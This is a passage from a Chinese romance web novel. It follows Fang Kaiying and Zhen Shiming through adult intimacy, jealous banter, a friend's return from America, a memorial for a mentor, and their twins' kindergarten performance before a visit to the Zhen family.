方楷莹很少看到甄世明正经的样子,现在教育孩子时,他眉头微敛,神情严肃,颇有父亲威严,难怪孩子总是又爱他又怕他。 — 晚上睡觉时,方楷莹擦擦半干的头发,老夫老妻似的对甄世明说:“以后吃饭前不能给孩子吃冰激凌了。” 甄世明嗯了声,方楷莹躺进被子里,他还靠在床头点着灯,一脸深沉在看《小狗钱钱》,他说孩子们已经六岁,马上是小学生,必须得建立一些金钱观了,总是对钱没概念可不太好。 方楷莹深表同意:“那我能帮什么忙吗?需不需要我跟他们讲一下棘轮效应什么的?” 甄世明睨眼看她,放下书,侧躺手撑脑袋,说:“我还真有个事儿想问问方教授。” 她把被子拉起,只露出个脑袋,问:“什么事啊?” 甄世明认真地看着她,旋即唇角勾起一抹坏笑,“方教授…新泽西州的过山车是最高还是最快来着?” 方楷莹:“无聊。” 翻身不理他,却被甄世明扒拉肩膀,腿也勾住她,高大躯体紧贴,浓烈的荷尔蒙气息侵入鼻腔,侧眼能瞥见睡衣下胸肌的轮廓,方楷莹有点儿喘不过气。 甄世明垂眸看看她上下起伏的胸骨,抬眉笑笑,唇贴在耳边又问:“哪儿的过山车最长来着?” 方楷莹羞红了脸,连续推了他几下,都没能推开他,气得不行,指甲又掐住坚硬的胸口,嘴更硬道:“不知道,你可以自己去试试看。” 甄世明拿起手机,打开录像功能,说:“你把下午的话再说一遍,这是你第一次说爱我,我细品品录下来,以后万一你又离开我…” 一时半会儿他可能都不会有真正的安全感,只能靠她一遍遍地告诉他,但她又从来都是个不善表达的人。 “你把手机拿开我才说,”方楷莹捂脸躲避,在手掌中闷音说:“不然我要关灯了。” 甄世明立刻把手机丢到一边,耳朵也更凑近些,“说吧,从新泽西州开始说。” 方楷莹无奈:“新泽西州的过山车世界最高” 说到甄世明最想听的那句话前,方楷莹忽然不说了,甄世明等了半天,问:“怎么不说了?” 方楷莹:“忘了,什么词儿来着?” “这也能忘?”甄世明恼了,眉头压低,虎视眈眈看着她,说:“我爱你。” “哦。”方楷莹狡黠地弯起唇,把灯关上,蒙好被子闭眼。 甄世明反应忽然变慢,他好像非但没听到她说爱他,反而被她骗着说了一句“我爱你”。 “嗯?”他一掀被子,人压在她身上,手指扣紧手指,装凶问道:“跟谁学得这么坏?!” “你。”方楷莹悄咪咪搂紧他的腰侧。 甄世明呵笑一声,问:“你爱谁?” “你。”她的手伸进衣衫里,冰凉的指尖在腹肌滑过,让他觉得痒。 甄世明在她唇上轻轻印下一吻,说:“我爱你,你要想听我说这句,今天晚上我动一下说一句,成吗?” 第68章 甄世明确实是个行动派, 那天晚上她都数不清听了多少遍“我爱你”,他在耳边一声声轻喃,节奏动作比之间每一次都缓慢温柔, 小心翼翼地照顾她, 好像生怕弄疼了她,弄坏了她 除了最后那几十下。 不习惯这样的节奏, 她的手指攀住甄世明的肩膀, 不上不下地抓挠,内心也焦灼,身体主动靠近, 让皮肤大面积的贴触, 想感受更多更强烈的快意。 甄世明对她温柔, 这很好,但是她不喜欢。 如果她想要一个极尽温柔的人, 那么汪先生完全符合,那里至于这么多年对甄世明念念不忘?还不是因为 抛开别的不说, 甄世明在床上有自己的调性, 他甚至有些下流粗暴,而那恰恰是方楷莹喜欢的。 但他说会改变自己 方楷莹不禁为未来的性生活感到担忧。 结束之后, 她握着手机, 背靠床头, 垂首走神,甄世明裹着浴巾重新回到床上, 轻佻地抬了抬她的下巴, 发现她脸上竟然是意犹未尽的表情,内心忽然慌得一批,抓起床头柜的手表时间没短啊。 “你在想什么?”甄世明试探道。 方楷莹脱口说:“我在想汪”她抿起唇, 眼珠转转,说:“忘了什么事好像,你洗澡的时候我一直在忙” “忙着看手机壁纸?”甄世明凝眉。 方楷莹含含糊糊说:“啊不行吗?” 甄世明定定看她,想她真是活腻了,居然还敢趁他洗澡的时候去想别的男人,又不会撒谎,只会红着脸说两句自己都圆不上的谎言。 “想你未婚夫了?”甄世明恨恨咬牙,故意说道。 “我哪儿有未婚夫”方楷莹的肩膀都塌下去一点儿,顺着甄世明说:“那是跟我没有任何关系的男人,也不能说没有关系吧现在属于是普通朋友——” 话没说完就被人一口咬住嘴唇,疼得她紧紧皱眉。 甄世明扯开她刚提上的细肩带,又一口咬在肩膀,凶巴巴地说:“我今天要是不把你操傻了,你是不是还会想别的男人?” 这次感觉对了。 他还是那样下流,对待她时简单粗暴,让她汁水四溅,听她低声呜咽,看她求饶表现。 衣服再次穿好之后,方楷莹心满意足地搂紧他,甄世明身上的汗还没褪,她也不嫌弃,腻在怀里。 甄世明眼睛一眯,挑起抹笑意。他对方楷莹有基本的了解,知道她喜欢强势,虽然之前他也没怎么温柔过,但今天这前后态度差距太大了吧! “你喜欢这样,不喜欢刚才那样?” 她脸上刚褪去的红又浮于面上,低声地嗯了一下。 “方教授在这方面的喜好挺独特的。”甄世明浮浪地笑容挂在脸上,又问:“那我这次有没有伺候好你?” 方楷莹的脸越来越热,被他问得不好意思,短促地嗯了声,感觉自己的脸皮都厚了两毫米,她抬手把灯一关,用黑暗的夜色遮掩烧红的脸。 “快别说了,睡觉吧。” 甄世明却来劲儿,抬手越过她的头顶,重新按开床头灯,“我还不困,陪我聊会儿,方教授还喜欢什么样儿的?扇巴掌还是掐脖子?脐橙呢?边脐橙边掐脖子呢?” 方楷莹:“关灯睡觉。” 灯灭掉,又亮起。 甄世明不依不饶。 方楷莹再次红着脸求饶:“我喜欢你这样的,只喜欢你这样的,睡觉吧,好吗?” 她关上灯,甄世明又打开。 甄世明:“我是什么样儿的?” 方楷莹:“下流、风骚。” 甄世明忽然乐了,搂住她的身体,拨开额前散开的发丝,逗她:“没想到方教授平时看着严肃认真的,私下里喜欢这种啊?” 说完就被方楷莹怼了一肘,再次关灯。 “你总关灯干什么?” “省电。” 甄世明:“你睡前还没说爱我呢?” 方楷莹语气不耐烦:“我爱你。” 甄世明:“得了吧,我看你爱省电都多过爱我。” 方楷莹:“” 两人又互相气恼,明明刚才还黏黏腻腻把汗液和体.液融在一起,但现在两人分别盘踞在大床两边,背对着背,中间隔出一臂距离。 幼稚的人果然还是要和幼稚的人在一起。 甄世明生着气等她来哄,但方楷莹太累了,五分钟就睡得死沉死沉,他一直睁着眼睛等到天亮- 甄世明气性确实大,心里一直别扭,但由于表面太过风平浪静,导致方楷莹根本没看出来他还在生气。 方楷莹接到安妮的电话,说她已经坐上回国的飞机,到时会落地京市。 “那我去接机,”方楷莹问:“你几点落地?” 甄世明为安妮回国帮了忙,她也想让甄世明见见安妮,毕竟方楷莹的好朋友不多,只此两个,她想让甄世明都认识。 把想法告诉甄世明,他淡淡地“嗯”了声,说:“我最近没什么时间,要去办买房的手续,还联系了上次给你做儿童房改造的设计公司。” 方楷莹有一点点失落,“那你不陪我去接机?” 甄世明:“去。但我问你,在你心里是朋友重要还是我重要?” 方楷莹:“?” “就拿那个安妮来说吧,如果有一天我和她同时掉进河里,你先救谁?” 方楷莹后知后觉,问:“你还在生气?和女的也吃醋?” “我还跟电费吃醋呢!”甄世明眼睛立起来,“敢情你一直没发现?” 方楷莹:“” 开车去往机场的一路,甄世明对她爱答不理,方楷莹则尴尬地看着车窗外风景,超不经意地说:“我和安妮认识很多年了。” 他说:“比认识我时间还长?” 方楷莹:“她是我的合租室友,平时很照顾我的,我们都是普通家庭出身,在外面互相帮助,平时自己在家里做饭,她中餐做得好,还喜欢大扫除,还——” “还帮你省电。”甄世明记仇地说,对于不曾参与过的生活,他每次提起都有种莫名的酸意,“那你们共同生活那么多年,你怎么没娶她呢?全美不是已经实现同性婚姻合法了吗?” 方楷莹被他气笑:“你现在可以和我说这些,一会儿可不能跟我的朋友信口开河,她的性格很可爱,你会喜欢她的,我也想让你给她留个好印象。” 毕竟安妮是也认识汪先生的朋友。 总不能让安妮说她是闭眼瞎选。 到达机场等待,她帮甄世明整理了一下衣服,他仰起下巴,露出尖尖的喉结,方楷莹把衬衫纽扣全部系好,又把领口往上拽拽,对他说:“这样更端庄。” 甄世明:“” 虽然她自己衣品不咋地,但评价起人来一点儿不嘴软,他今天穿高定西装,明明浑身矜贵感却被她说太招摇。 “招摇的不是衣服,是脸。”他乜了一眼,冷淡地说:“我披个麻袋别人都会以为是走秀款。” 方楷莹:“” 安妮下了飞机,直奔方楷莹跑来,她身材娇小,走得匆忙,只提了一个行李箱,胳膊上挂着大旅行袋,保持不住平衡,像只企鹅一样晃来晃去,张开手臂紧紧抱住方楷莹。 甄世明非常识相地接过安妮的行李,却戴上墨镜扭身就往停车场走,非常高冷地拒绝寒暄,方楷莹也被搂得紧,没机会正式介绍两人认识。 安妮坐在库里南后排,一激动说话就像机关枪似的,声音也尖,喊得甄世明脑仁疼。 “楷莹,我好想你!你都不知道我最近过得什么日子,每天担惊受怕躲在大卫家,整夜都睡不着,就想着我要是客死他乡了,我爸妈怎么办,我连遗书都写好了!我给你念念” 方楷莹在副驾驶扭头,问:“那你回国了,大卫呢?” 安妮从兜里掏出一大张纸片挥舞,干脆利落地说:“我都快没命了我还管他?!他是挽留我了,但他一个小白男,怎么能懂我多害怕,还是跑路最重要!回国前我就跟他分手了,他不可能抛下家人跟我来中国,我也自认没那么大魅力,不像你和汪先生” 她太激动了,都没看出方楷莹对她挤眉弄眼是什么意思,直愣愣地问:“你眼睛不舒服?来,我这儿有眼药水,珍视明的。” 方楷莹:“” 沉默,是今早的库里南。 安静的车里只有安妮拉开旅行袋翻翻找找的声音。 甄世明呵笑一声,说:“方教授,是不是应该介绍一下我?” 方楷莹汗颜,“安妮,你先别找了,我给你介绍一下,这是我的孩子的爸爸他叫甄世明。” “嗯?!”安妮大惊,低头看看自己手里的眼药水,又抬头看看前面的司机,说:“这不是你叫的豪华专车?搭配帅哥司机那种?!” 好嘛,把他当司机了,方楷莹的朋友怎么和她本人一样缺心眼儿?! 甄世明在心里怒想。 安妮最近是太疲惫,回来之后又太兴奋,下飞机之后确实看到方楷莹身边有帅哥,但一直没反应过来是怎么回事儿 直到听见方楷莹介绍,原来这位惊天动地的大帅哥就是被她抛弃的神秘前任,安妮的下巴都要惊掉,半天没能合拢嘴,脑海里只有一个想法:方楷莹你糊涂啊! 她偷偷摸摸注目,从倒车镜里看看甄世明立体的轮廓,虽然被浅色遮光眼镜挡住,眉骨和眼睛却依然透着朦胧的美感,她没忍住咂了咂嘴。 方楷莹见她蠢蠢欲动,多年共住的默契终于重新连接成功,她知道安妮想说什么,伸手捂嘴,却还是晚了一步。 “你好啊,MR.YUMMY~” 第69章 方楷莹只想现在就从车上跳下去。 甄世明的唇角牵起一个恶劣的弧度, 饶有兴致地侧看她一眼,把这称呼在口中绕了一遍。 “Mr.yummy” 方楷莹用手挡脸,觉得不够, 又把头发往前撩撩, 彻底遮住脸,像个女鬼, 透过发丝偷瞄他, 心虚地说:“不是我说的” 甄世明挑眉,不置可否。 安妮立刻拆台:“怎么不是你说的?那次过年我们吃火锅,你喝多了, 亲口说的, 我现在都记得你当时那表情, 怀念的呦~” 方楷莹脸都红透了,现在不想跳车, 想把安妮从车上扔下去。 甄世明可得意了,眉棱一剔, 露出浪荡笑容, 低声地问:“方教授,这么怀念我啊?” 方教授板起脸装凶, “好好开车!” 安妮还沉浸在自己的幻想里, 戳戳方楷莹的手臂让她回头, 偷偷对方楷莹比了一个关于长度的手势,方楷莹连忙拍开她的手, 深深摇头, 用求饶的眼光看着她,她倒没心没肺地捂嘴笑。 此时,方教授迫切需要转移话题。 “你回国之后有什么打算?要不要考虑来我的实验室?” 安妮正低头忙着用手机搜索甄世明的名字, 想探探这位有钱的帅哥到底何许人也。 心不在焉地答话:“我还没什么打算,准备先回家陪我爸妈待一段时间,我妈最近担心我,整夜睡不着觉,都吃上安眠药了,以后…我也不想再去高校的实验室了,想去企业赚大钱!” 甄世明现在看安妮顺眼多了,便趁机挖人,“如果想去企业的话,不如考虑一下我的公司。” “靠!”安妮突然大喊,吓得甄世明踩了一脚刹车,感觉心脏骤停。 “原来你名下有这么多企业,港股上市的的夜照科技也是你您的?”安妮亮出手机屏幕,同时改口尊称,寻思这位没准以后是她老板呢。 “嗯。”墨镜下藏着甄世明的白眼,他淡淡道:“还有几家,法人不是我,但夜照科技是最符合你们专业的欢迎你来。” 虽然甄世明说得不情不愿,但安妮连连点头,打算在未来新老板面前猛拍马屁:“一看您就是文化人,这公司名字取得都好听,夜照科技、耀夜新材,都是古人对萤火虫的别称啊!雅,实在太雅了!” 她拍的马屁并没让新老板会心一笑然后夸夸其谈,反倒让甄世明彻底沉默下来,也让方楷莹愣了愣神。 沉默,是今早的库里南。 这下轮到方楷莹撑着脸颊侧看甄世明尴尬的表情,甄世明喉间滚动一下,很长时间后才阴阳怪气地说:“安妮,你涉猎得还挺广泛” “我平时喜欢研究点儿古代中国。”没心没肺的安妮乐呵呵地说:“本人文化底蕴深厚着呢。” 如果不是在开车,甄世明的白眼要翻到天上去,方楷莹的朋友怎么都和她一样听不懂好赖话 方楷莹被她逗乐,扑哧一笑,伸手把甄世明紧皱的眉心抹开,唇语轻飘飘:“甄总,这么怀念我啊?” 甄世明:“”- 一路听着安妮的欢声笑语,车子最后停在饭店门口,方楷莹为安妮接风,特意选了她爱吃的火锅,只不过是铜锅涮肉,不是她喜欢的川渝麻辣。 安妮欣然接受,对火锅她也有研究,各地火锅各有特色,既然来了京市当然要吃铜锅涮肉。 三人围坐在桌前,安妮花痴的眼神毫不遮掩,甄世明那张脸在升腾的雾气中依然完美。 热气让他重新整理衣领,但没忘了方楷莹要他端庄,一直没敢解扣,只好别起衬衫袖口,旁边眼风立刻扫过来,她的眼神上下一动,他又悻悻将卷起的袖口放下来。 “方教授,家教够严的。” 安妮哈哈大笑,对她竖起大拇指。 甄世明脸上挂不住,给自己找借口:“其实也没那么热…”说完喝了口热茶。 在安妮去卫生间的空档,他终于有机会向方楷莹表示抗议:“出门在外能不能给我点儿面子?” “端庄对你来说是很丢面子的事?” 甄世明被她噎了一下,说不出话。 方楷莹低头涮肉,手切鲜羊肉涮七八秒钟,麻酱里倒一勺现炸辣椒油,羊肉裹上厚厚的麻酱,一口吃下去,方楷莹十分满足。 这吃法最初也是甄世明教她的。 “好吃么?”甄世明问。 方楷莹腾不出嘴说话,用力点点头。 甄世明哦了声,舔了舔唇面上的旧咬痕,用一种贱贱的眼神长久地看着她。 “比我更好吃吗?”MR.yummy发问了。 方楷莹被呛住,猛咳几声,又接过甄世明递来的热水,好不容易把气捋顺,急着解释:“那次我是喝多了,但我什么都没说过,什么长度、叫.床声啊,那都是安妮脑补出来的——” 拍打后背的手忽然顿住,甄世明不敢置信地问:“长度?什么长度?我的长度?!” 用力捏住方楷莹的脸,捏得她脸颊酸疼,眼前甄世明紧皱着眉,“你们女人都在一起讨论什么呢?!” 方楷莹抿起唇,越描越黑,干脆把脏水也泼给他,“你们男人不是也讨论这些?哪个女人胸大哪个女人腰细的” 甄世明生气,脸一拉,严肃道:“别人我不知道,我从来没跟好哥们儿讨论过你的胸是大是小,因为你是我的宝贝,是我的隐私,只能我一个人独享,别人提起你的名字我都介意!” “那…”方楷莹抿嘴笑笑,说:“期刊上有很多我的名字,你介意的话以后该怎么办呢?…” “那不一样。” 爱生气的甄世明又生气了,少爷脾气来得快去得也快,很多时候不用她哄,甄世明自己能把自己哄好。 但上头的时候是真的难搞,对谁都爱答不理,哪怕方楷莹已经说了“我们没有讨论,你不喜欢我以后也不和任何人讨论。” 安妮从卫生间回来就发现甄世明变得话更少,但她和方楷莹一样是个粗神经的人,悄悄趴在方楷莹耳边说:“这孩子爸看起来挺内向的” 内向? 死都想不到有一天这词儿能用在他身上。 “他不是内向,是生气了,所以谁不愿意搭理。”方楷莹说。 安妮认真看看甄世明生气时那收敛嘴唇的样子,最后说道:“你们两可真像,生气起来都不爱理人,简直一模一样。” 方楷莹怔忪,不知道什么时候,爱情把她变得像他,又把他变得像她- 饭毕,他们把安妮送到酒店休息。 “明天我想在家里为玛丽教授开一个小型追悼会,邀请你和甄真教授一起过来。” 她站在安妮的房间门口邀请,提起玛丽教授,安妮也变得伤感,点点头说“好”。 方楷莹为追悼会做了些准备。 她让甄世明先把孩子送回甄家,又让甄世明配合她找到玛丽教授的黑白照片装进相框,还把教授发表过的论文都装订成册,将来一人一份留作纪念,最后和甄世明去超市买些酒来。 在超市路过酒水货架,她站在货架旁挑挑选选,拿不准主意,叫他帮忙过来看看,但甄世明推着小车,情绪一直很低。 “怎么了?”方楷莹不解。 “明天追悼会我能参加吗?” 方楷莹说:“能啊。” 甄世明问:“那你怎么介绍我?” 方楷莹:“你不是都认识吗?” 甄世明默不作声装忧郁,挑出橙橙和芯芯平时喜欢喝的椰子水丢进小车里,方楷莹也不问,等了几分钟他果然装不住了。 “我是说你以后对别人怎么介绍我?今天你和安妮说我是孩子的爸爸,我对这个说法不太满意,以后出门我也这么介绍你吗?孩儿他妈?” “那不然呢?”方楷莹问。 甄世明眨眨眼,气哼哼说:“你说的是我们和孩子的关系,不是我们两的直接关系,难道你就不能介绍我是你男朋友吗?” 方楷莹有点儿犯难,手指抓抓脸颊,“我们孩子都上小学了,还互相称呼为男女朋友啊?” 甄世明:“不行吗?这可是我好不容易才失而复得的身份!” “小声点儿”方楷莹迅速瞥向货架两边,难为情地说:“我是觉得以后需要介绍你的场景应该会很少,因为我身边就那么几个人,现在你都认识了” 甄世明追问:“那我身边的人呢?” 他的朋友、同事、还有甄家的人 这个问题方楷莹还没有想过,她假装什么都没听到,一拍脑门说想起家里醋没了,一溜烟儿跑到别的货架去了 她也知道总这样下去不是办法,现在既然和甄世明重新开始,以后一定要面对甄家,但甄世明自从过年那次之后,再也没要求过她什么,她也就一直装聋作哑。 后来出了这么多事,她的脑容量只够处理一部分人情世故,自然就把甄家放在最后。 两人提着超市购物袋回家,气氛有些尴尬,谁都话很少,但配合默契地摆放明天招待客人的东西。 晚上正是孩子不在家的好机会,但两个人都兴致缺缺,方楷莹怅然翻看玛丽教授之前的论文,一直看到很晚,甄世明则在卧室等着她,睡前把她搂进怀里,轻轻叹息一声- 翌日甄真和安妮准时敲门,四人在家里为玛丽杨教授开了追思会。 甄真教授拿着玛丽杨教授曾经指导过的论文,谈了谈她和教授的过往,她们在一场学术会上认识,当时她是最年轻的教授,在学院里并不受到认可,自己心里也没底,玛丽杨教授鼓励过她,并且留下联系方式,后来也帮她提供过很重要的数据。 她说玛丽杨教授当时就很谨慎,乐于给予帮助,论文不署名应该是出于政治敏感性,但却没想到就算是做到这样“避嫌”,也逃不过政治斗争带来的厄运。 安妮不希望大家太过悲伤,说了很多关于玛丽杨教授的趣事。 她说有一次和教授一起参加学术会议,教授让她拿保鲜盒去,因为教授在茶歇时会被团团围住,会议后又不愿意参加饭局,就命她去帮忙“打饭”,带回路上吃,她选的都是自己喜欢吃的小蛋糕,结果把教授的血糖给吃高了 甄世明与玛丽杨教授私交不深,但非常佩服教授的为人,他说他眼中的玛丽杨教授是真正的理想主义者,身上有科研人的刚烈和韧性,他为曾经认识过玛丽杨教授而感到荣幸。 方楷莹迟迟没有说话,三个人的目光同时投向她。 “我觉得我是个很幸运的人,幸运的不是我能顺利回国,而是我曾经拥有过三个母亲。”她看向甄真,说:“一位是我的妈妈方霞,一位是我的研究生导师甄真,一位是我的博士生导师玛丽杨教授” 她人生中的三个母亲,一个赐她肉身,一个为她点灯,一个护住这光火。 如今她能感受到爱和幸福,也就能感受到失落与痛苦,如果感知爱的副作用是体会痛,方楷莹现在愿意全部承受,哪怕痛苦来得更强烈,她也愿意在细水长流的日子里寻找爱的痕迹。 第70章 追悼会后, 四个人吃了些冷餐,各自喝了点儿寂寥的酒,有一搭没一搭地聊天。 甄真问起孩子, 方楷莹说送到甄家去了, 甄真的眼神颇有深意地飘向甄世明,他平时话多, 这时候不说话了。 “楷莹, 我和你就不说见外的话了。”她虽然这样说,但依然斟酌片刻。 “之前我嫂子确实对你不好,这一点我是不能替她开脱的, 但这两年她心态变了, 你回国的事甄家都知道, 本来今年过年她就想和你再见面,但最后世明还是带着孩子走了。我是想着你们都是爱橙橙和芯芯的人, 是不是也能试着和解” 方楷莹沉默很久。 其实这么多年,她并没有真的恨过甄家其他人。成为一个母亲之后, 她也设身处地去想过, 自己的孩子要与一个精神类的病人一起结婚生子,恐怕没有哪个母亲不会担忧。 当初她把孩子留给甄家是为了孩子考虑, 甄母自然也是为自己的孩子考虑。 一直躲避着不想去甄家的原因是她从来都是个凉薄的人, 没有试着融入过一个新的家庭里, 她觉得别扭,也没有人教过她应该怎么做。 晚上她和甄世明盖被睡觉, 在柔暖的灯光下, 她听见甄世明一声轻轻的叹息。 “怎么了?”她问。 甄世明今天也有些惆怅,在她额头轻吻一下,说:“没什么, 想孩子了,家里没有这两个小孩儿闹腾,突然安静下来怪不习惯的。” 但方楷莹知道,甄世明重视家人,她极度的不配合也许是令他怅然的重要原因。 她在乎甄世明,于是呐呐问道:“不知道他们在甄家今天过得怎么样” “我晚上打过电话了,今天宝珠也回了甄家,带着孩子和狗,橙橙和芯芯玩儿得太累,九点就睡下了。”甄世明忽然想到什么,坐起身说:“明天接回来估计又得腾个房间放玩具,我去看看隔壁房子能不能放…” 方楷莹揪住他的衣裳,让他重新躺下,明天也可以去看,又低声问道:“你妈最近在国内吗?” 甄世明的后背僵了一下,心也跳快一拍,“她最近在国内,马上就是儿童节,她专程回来看橙橙和芯芯。” “以前的儿童节你们怎么过?” “孩子们上午参加幼儿园举办的活动,下午甄家还会为他们办派对,橙橙和芯芯会邀请幼儿园的好朋友一起去玩儿,然后收爷爷奶奶、姑姑姑父送的礼物,到时候最累的就是我了” 方楷莹呆呆看着天花板,静默片刻后说:“今年我陪你和孩子去甄家,我们两个一起累。” 甄世明不敢相信,怔忪很久,一把将她拥入怀中,紧嵌地抱住,“你可不能反悔…” 方楷莹点点头,轻声说“嗯”。 “迟早要面对吧,作为橙橙和芯芯的妈妈,我不能和他们的其他生活完全割裂开,孩子越来越懂事,他们会发现不对劲儿的,”方楷莹忍不住担忧道:“只是我不会讲漂亮话,到时候可能会很尴尬” 甄世明的鼻梁刮了下她的鼻尖,对她说:“有我呢。”- 除了生日,儿童节就是孩子们最重大的节日,两个小孩儿在节日前几天就兴奋不已。 幼儿园通知要举办文艺汇演,橙橙就拉着芯芯主动向老师报名,要表演歌曲《firefly》,孩子们在幼儿园也练,在家里也练,有次方楷莹还听到芯芯在睡梦中哼哼唧唧唱歌。 甄世明也重视,提前给孩子们定制一身表演服装,浅蓝色的细条纹衬衫,英伦风小短裤,柔软的羊皮鞋,他还给孩子搭配一条小腰带,休闲又不失风度。 两个孩子像即将走入秀场的小模特,一抬首一挥臂,已经初具爸爸的风采。 蓝梦一早带着化妆包来帮方楷莹给两个孩子化妆,橙橙抿着嘴唇,闭上眼睛等着蓝梦阿姨往脸上扑粉,长密睫毛轻轻颤,蓝梦没忍住上手揪了一根下来,疼得橙橙哇哇直叫。 “这妆会不会太浓了?”方楷莹手拿大号粉扑,偏头看看橙橙眼睛上的亮粉色闪片眼影,觉得他现在活脱脱像个清秀小姑娘。 蓝梦的手指转转化妆刷,又在眼皮铺上一层眼影,说:“你不懂,舞台妆就得这样,画得太淡看不出来。”她托住橙橙的下巴,乐呵呵说:“一会儿再给橙橙画两个红脸蛋儿。” 方楷莹觉得颇有道理,也按住芯芯的脑袋,沾着散粉按到脸上去,芯芯呛得伸出舌头直咳嗽,她又手忙脚乱帮孩子拍拍后背。 橙橙换好衣服化好妆,在家里闪亮登场,蓝梦捧场地吹了响亮的口哨,方楷莹左看右看,怎么看都觉得滑稽,没忍住笑出声来。 蓝梦对她虎脸,她缩着嘴唇收敛笑容,摆出认真赞赏的模样。 “妈妈,你说子涵会不会喜欢我今天的样子?”橙橙顶着两坨腮红,难得羞怯地问。 方楷莹给他的衣领垫上两张纸巾,免得他玩闹时蹭上粉底,摸摸他刚做的小刺猬发型,说:“当然了,橙橙今天一定是全幼儿园最帅气的小男孩儿。” 旁边坐着的小人儿嘴噘起来,耷拉着眼皮,脆生生问:“那我呢,妈妈?” 糟糕,方楷莹竟然忘了“双胞胎不说‘最’”法则,赶忙向蓝梦求助:“蓝梦阿姨评价一下小芯芯的穿搭。” 蓝梦正在补妆,手拿小镜子翻白眼,蹲下身捏捏芯芯柔软的小脸蛋儿,说:“芯芯今天是蓝梦阿姨眼中最帅的小男孩,我的审美比你妈妈好多了,你信不信阿姨?” “信!”芯芯一口应下,又害羞地把身子藏在妈妈身后叽叽咕咕地笑- 甄世明的车早早等在楼下,他难得开了商务车,因为车上得坐六个人,除了他们一家四口,还有一对新离夫妇。 蓝梦是被方楷莹邀请来一起看孩子表演的,秦赫是臭不要脸跟来的,甄世明还邀请了这对离婚夫妇下午一起去甄家的派对,为了让方楷莹能在那里有更多相熟的面孔。 秦赫正倚着商务车与甄世明谈笑风生,说蓝梦不敢让家里知道离婚的事,总是求着他和自己回娘家,他现在对蓝梦手拿把掐,复婚是迟早的事儿。 正叉腰吹着牛,眼光一扫,两个红脸蛋儿小男孩从楼道里蹦蹦跳跳地跑出来,秦赫吓了一跳,揽住橙橙大声问:“这是谁给化的妆?!怎么画得跟小鬼儿似的?!” 横空飞来的化妆包正掉在他怀里,蓝梦叉着腰问:“我化的,怎么了?!” 秦赫咧嘴一笑,立刻谄媚道:“化得好!我们家梦梦的化妆技术出神入化,这小孩儿看着都雌雄莫辨的。” “你废话怎么这么多?!我告诉你啊秦赫,以后别总偷着去我们家,也别缠着我爸喝酒,你不知道他心血管不好啊?!” 秦赫嘿嘿一笑,狗腿地说:“我下次去只喝茶,不喝酒,我们爷俩有话说,我特喜欢听咱爸说话,觉得特有文化,倍儿受熏陶。” 蓝梦甩给他一个白眼,打开车门跳上车,在秦赫也要跟着上车时,啪的一声关上车门。 秦赫:“……” 甄世明看不下去,拍拍好哥们儿的肩膀安慰:“没事儿,进步很大了,现在能一口气说出两个成语了,老丈人熏陶得不错。” 方楷莹也缓缓走到秦赫面前,一想到待会儿要说什么自己先憋不住笑了,“早上好,文化哥。” 秦赫:“” 车一路行驶,开到幼儿园门外停下。 方楷莹和甄世明各牵一个孩子的手走在前面,秦赫揽着蓝梦的肩膀,时不时被打手。 幼儿园新来的保安拦下他们,感觉这六个人的关系怎么瞅都不对劲。 “今天幼儿园有活动,院长让我们加强安保,这两个小孩哪个班的?” 甄世明答:“幼小衔接班的。” “是你的孩子?” “嗯。” 保安又看看蓝梦,又看看方楷莹,问她:“那你是什么人?” 不知怎么,方楷莹忽然想起,甄世明要她在外人面前介绍他们是男女朋友关系,脑子一抽,揽住甄世明的胳膊,脱口而出:“我是他的女朋友。” 保安大哥费解地眨眨眼睛,颇有深意地看着他们俩。 甄世明整个人都定格几秒,三条黑线挂在额角,缓缓扭头,“大姐,这个时候你就别这么介绍了吧?” “怎么了?”方教授问。 甄世明:“” 完全被她打败了! 他不得不向保安解释了五分钟他们的关系,极力证明他们之间是亲爸亲妈亲孩子的关系,甄世明一手托住橙橙的下巴,一手托住方楷莹的下巴,“看,长得多像。” 最终好不容易顺利进入幼儿园。 老师带着橙橙和芯芯去后台准备,他和方楷莹找到自己的座位,方楷莹拿出手机,对他说:“你负责录像,我负责拍照。” 甄世明却掏出手机,打开录像,神经兮兮地对准她,问:“你是谁?” 方楷莹:“?” 他唇边带笑,说:“你刚才跟别人说你是我的谁?再跟我说一遍。” “神经病。”方楷莹骂他,刚才还不让她说是女朋友,现在又引导着说,真是善变的男人。 甄世明兴致勃勃,不依不饶:“再说一遍,再说一遍。” 两个小孩上台,眼看表演要开始,橙橙和芯芯正眼巴巴寻找着爸爸妈妈的身影,他们不着调的爹还用手机摄像头对着方楷莹的脸。 方楷莹深深叹气,扭头看看甄世明,对着摄像头介绍自己:“你好,我是甄世明先生的女朋友,方楷莹女士和甄世明先生彼此相爱,共同孕育出两个可爱的小男孩,现在让我们把镜头对准两个孩子” 说完拉着甄世明的手,把摄像头重新对准台上,屏幕里便出现两个因为紧张而站得笔直的孩子,他们长着颀修的身条,像两棵挺拔生长的小树,细瘦的手臂互相挽着,彼此鼓励着,共同成长着。 那是他们的孩子。 作者有话说:比预想中要写得更长…再有两章才能完结…《 》 第 71 章【VIP】 第71章 演出非常成功, 孩子们刚出场时有一点点紧张,前奏响起时很快就进入状态,橙橙声音大但有两句跑调, 芯芯声音小, 调也被带着跑。 即便演唱过程中有一点小小的瑕疵,但方楷莹不在乎, 她只看到甄橙甄芯勇敢上台、善始善终。 甄世明在表演结束后就把视频发到【相亲相爱一家人】和【狐朋狗友喜相逢】群里。 去往甄家的路上, 方楷莹脸上挂着会心的笑意,反复回看甄世明拍的视频,车子在甄家门前停下, 方楷莹抬起头。 这个地方她十七岁时来过一次, 那时觉得甄家大门高耸, 站在这道门前,悬于穹顶的烈日都被遮住一半, 现在她坐在车里,同样是烈日高悬的天气, 她竟觉得甄家的门好像并没有想象中那么高不可攀。 大门向她开启, 车子一路直行,大道笔直宽阔, 道旁树木葱郁, 她知道甄家的人都在等着她。 甄世明紧握住她的手, 似乎是怕她临时反悔跑掉,她回眸, 笑不及眼底。 方楷莹依然穿着简单朴素的T恤牛仔裤, 却是甄家最受瞩目的人,各色眼神都投向她,好奇的、友好的、审视的。 而她也全然丢掉十七岁时的拘谨和紧张, 知道这些人在她回国这件事上各有助力,微笑着向每一个甄世明介绍给她的人点头致意。 甄世明说得很对,甄家从来都不缺优秀的人,政商相融的大家庭每个人都是精英模样,彬彬有礼,全然体面。 所以当带着活泼色彩的甄宝珠跳到她面前时,她的礼貌微笑在唇角掉了。 甄宝珠这些年没怎么变过,始终是备受宠爱的小女儿模样,哪怕已经结婚生子,也依然不改明媚张扬的底色。 她仔细观瞧方楷莹,说好像在哪里见过她,全然忘了她们年少时打过几次照面。 “我是方楷杰的姐姐。”方楷莹说。 